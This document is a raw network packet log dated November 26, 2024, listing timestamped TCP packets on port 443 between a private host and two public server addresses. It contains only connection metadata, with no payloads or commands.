Nov 26, 2024 08:04:27.906658888 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.906702995 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.926389933 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.926413059 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.926481962 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.926493883 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.926537037 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.042136908 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.042167902 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.042237043 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.042253017 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.042278051 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.042304993 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.057966948 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.057992935 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.058093071 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.058105946 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.058263063 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.072263002 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.072279930 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.072316885 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.072325945 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.072360039 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.072381020 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.086849928 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.086872101 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.086934090 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.086942911 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.086992979 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.099170923 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.099189043 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.099230051 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.099241018 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.099265099 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.099283934 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.101032972 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.101095915 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.101134062 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.102317095 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.102335930 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.148964882 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.149014950 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.149101019 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151202917 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151238918 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.151273012 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151300907 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151340008 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.151386976 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151654005 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151665926 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.151757002 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.151768923 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.152446032 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152486086 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.152543068 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152625084 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152637005 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.152656078 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152664900 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.152688026 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152698994 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:28.152715921 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152791023 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:28.152800083 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.872241020 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.872757912 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.872782946 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.873245001 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.873250008 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.932034969 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.932497978 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.932524920 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.932609081 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.933027983 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.933033943 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.933273077 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.933288097 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.933634996 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.933639050 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.996315956 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.996973038 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.996989965 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.997448921 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.997454882 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.999417067 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.999675035 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.999711037 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:29.999984026 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:29.999989986 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.312468052 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.312491894 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.312546015 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.312572956 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.312923908 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.312937975 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.312946081 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.313077927 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.313107967 CET	443	49846	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.313152075 CET	49846	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.316570044 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.316606998 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.316673040 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.316858053 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.316873074 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.377163887 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.377228975 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.377276897 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.377372980 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.377391100 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.377405882 CET	49843	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.377410889 CET	443	49843	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.379662037 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.379702091 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.379777908 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.379930973 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.379941940 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382328987 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382349014 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382405996 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.382416010 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382462025 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.382553101 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.382556915 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382587910 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.382695913 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382721901 CET	443	49844	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.382761955 CET	49844	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.384355068 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.384370089 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.384475946 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.384598017 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.384609938 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.455609083 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.455630064 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.455678940 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.455692053 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.455734015 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.456198931 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.456204891 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.456219912 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.456362009 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.456394911 CET	443	49842	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.456439018 CET	49842	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.456976891 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.457046986 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.457096100 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.457153082 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.457171917 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.457192898 CET	49845	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.457199097 CET	443	49845	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.460840940 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.460879087 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.460930109 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.461056948 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.461069107 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.461077929 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.461107969 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:30.461163044 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.461447954 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:30.461462975 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.097670078 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.098516941 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.098581076 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.100157976 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.100441933 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.100455999 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.101059914 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.101085901 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.101902962 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.101912022 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.165303946 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.165818930 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.165844917 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.166364908 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.166371107 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.185806990 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.186275005 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.186311960 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.186727047 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.186736107 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.241327047 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.241863966 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.241908073 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.242494106 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.242500067 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.534182072 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.534249067 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.534312963 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.534995079 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.535064936 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.535125971 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.535283089 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.535356045 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.535397053 CET	49849	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.535413980 CET	443	49849	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.535510063 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.535530090 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.535541058 CET	49850	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.535547018 CET	443	49850	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.540502071 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.540541887 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.540601969 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.542109966 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.542157888 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.542210102 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.542547941 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.542557955 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.542562962 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.542577982 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.620995998 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621004105 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621071100 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621093988 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621117115 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.621140957 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.621289968 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.621299982 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621309996 CET	49848	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.621314049 CET	443	49848	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.621320963 CET	49851	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.621345043 CET	443	49851	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.624376059 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624438047 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.624526024 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624731064 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624748945 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.624783993 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624804020 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.624833107 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624890089 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.624900103 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.685992956 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.686072111 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.686249018 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.686321020 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.686347961 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.686348915 CET	49852	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.686356068 CET	443	49852	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.689244986 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.689269066 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:32.689337969 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.689537048 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:32.689553976 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.260313988 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.268450022 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.268518925 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.295583010 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.295613050 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.394923925 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.395539999 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.395605087 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.396280050 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.396294117 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.406068087 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.406528950 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.406542063 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.406929970 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.406939030 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.411081076 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.411417007 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.411446095 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.411796093 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.411804914 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.544995070 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.545517921 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.545584917 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.545955896 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.545969963 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.695795059 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.695853949 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.696077108 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.696139097 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.696140051 CET	49854	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.696177959 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.696201086 CET	443	49854	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.698998928 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.699048996 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.699115038 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.699311018 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.699352980 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.848494053 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.848690987 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.848889112 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.848973989 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.848973989 CET	49853	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.849019051 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.849046946 CET	443	49853	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.850450993 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.850570917 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.850630999 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.850760937 CET	49855	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.850773096 CET	443	49855	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.851977110 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.852076054 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.852153063 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.852334023 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.852363110 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.853315115 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.853353977 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.853429079 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.853605986 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.853615999 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.855019093 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.855205059 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.855282068 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.855396032 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.855412960 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.855436087 CET	49856	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.855448961 CET	443	49856	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.857404947 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.857430935 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.857573032 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.857690096 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.857714891 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.998996019 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.999054909 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.999130011 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.999279022 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.999295950 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:34.999310017 CET	49857	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:34.999325037 CET	443	49857	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:35.002157927 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:35.002191067 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:35.002260923 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:35.002396107 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:35.002408981 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:35.759037018 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:04:35.759061098 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:04:35.821031094 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:04:35.821060896 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:04:36.544773102 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.545435905 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.545481920 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.545981884 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.545995951 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.572629929 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.573144913 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.573164940 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.573525906 CET	49861	443	192.168.2.8	13.107.246.63
